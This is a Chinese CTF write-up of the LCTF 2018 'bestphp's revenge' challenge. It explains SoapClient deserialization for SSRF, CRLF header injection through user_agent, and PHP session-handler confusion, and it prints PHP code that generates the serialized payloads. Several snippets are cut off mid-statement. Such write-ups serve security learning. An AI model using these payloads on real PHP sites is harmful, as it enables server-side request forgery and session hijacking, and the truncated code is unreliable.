1.[LCTF 2018]bestphp's revenge
index.php
array(0) { }
flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!
看到127.0.0.1,想到了要利用SSRF,可以利用原生类SoapClient来实现SSRF
implode()函数 把数组元素组合为字符串
call_user_func()如果传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
CRLF是”回车+换行”(\r\n)的简称。在HTTP协议中,HTTPHeader与HTTPBody是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLFInjection又叫HTTPResponseSplitting,简称HRS。
我们要让服务器去访问flag.php,且把flag存放在session里,那么我们就一定需要携带一个cookie去访问它。但是SoapClient这个类,好像没有指定cookie的接口,所以,我们就可以在user_agent里面,加上一个\r\n,然后再加上一个cookie,就达到了我们的目的。
SoapClient是php内置的类,当__call方法被触发后(调用不存在方法),它可以发送HTTP和HTTPS请求。该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
利用点就是,可以实现SSRF(127.0.0.1),一般都可以配合CRLF
来伪造报头。
$target,
'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll
在PHP中默认使用的是PHP引擎(5.5.4后改为php_serialize),如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);。
session.serialize_handler存在以下几种:
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
首先构造反序列化:
$target,
'user_agent' => "1vxyz^^Cookie: PHPSESSID=aaaaaaaa^^",
'uri' => "hello"));
$attack = str_replace('^^',"\r\n",serialize($attack));
$payload = urlencode($attack);
echo $payload;
// 执行的条件是 php.ini 文件里 ;extension=soap 改为extension=php_soap.dll
不过这道题是利用回调函数调用session_start() 来覆盖session默认序列化引擎,ini_set不支持数组传参,而session_start是数组传参,正好对应$_POST
将SoapClient的反序列化储存在session中,并在前面,加一个“|”符号,此时session会以php_serialize的规则储存:a:1:{s:4:“name”;s:199:"|xxx…"}
解释:array($_SESSION,'welcome_to_the_LCTF2018')
作为参数,调用到第二个call_user_func
,call_user_func
当传入参数是数组中,第一个参数为类名,第二个是方法,welcome_to_the_lctf2018
不是方法,所以触发了SoapClient
进行第三步传值、
PHPSESSID=123456789
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息)HTTP请求头之间的参数用一个\r\n分隔
HTTP Header与HTTP Body是用两个\r\n分隔的
SoapClient:模板
$target,'user_agent'=>"1\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length:" .(string)strlen($post_string)."\r\n\r\n".$post_string,'uri' => "1"));
$aaa = serialize($b);
$aaa = urlencode($aaa);
echo $aaa;
?>
注意:包括\r\n时需要用双引号,不然不能成功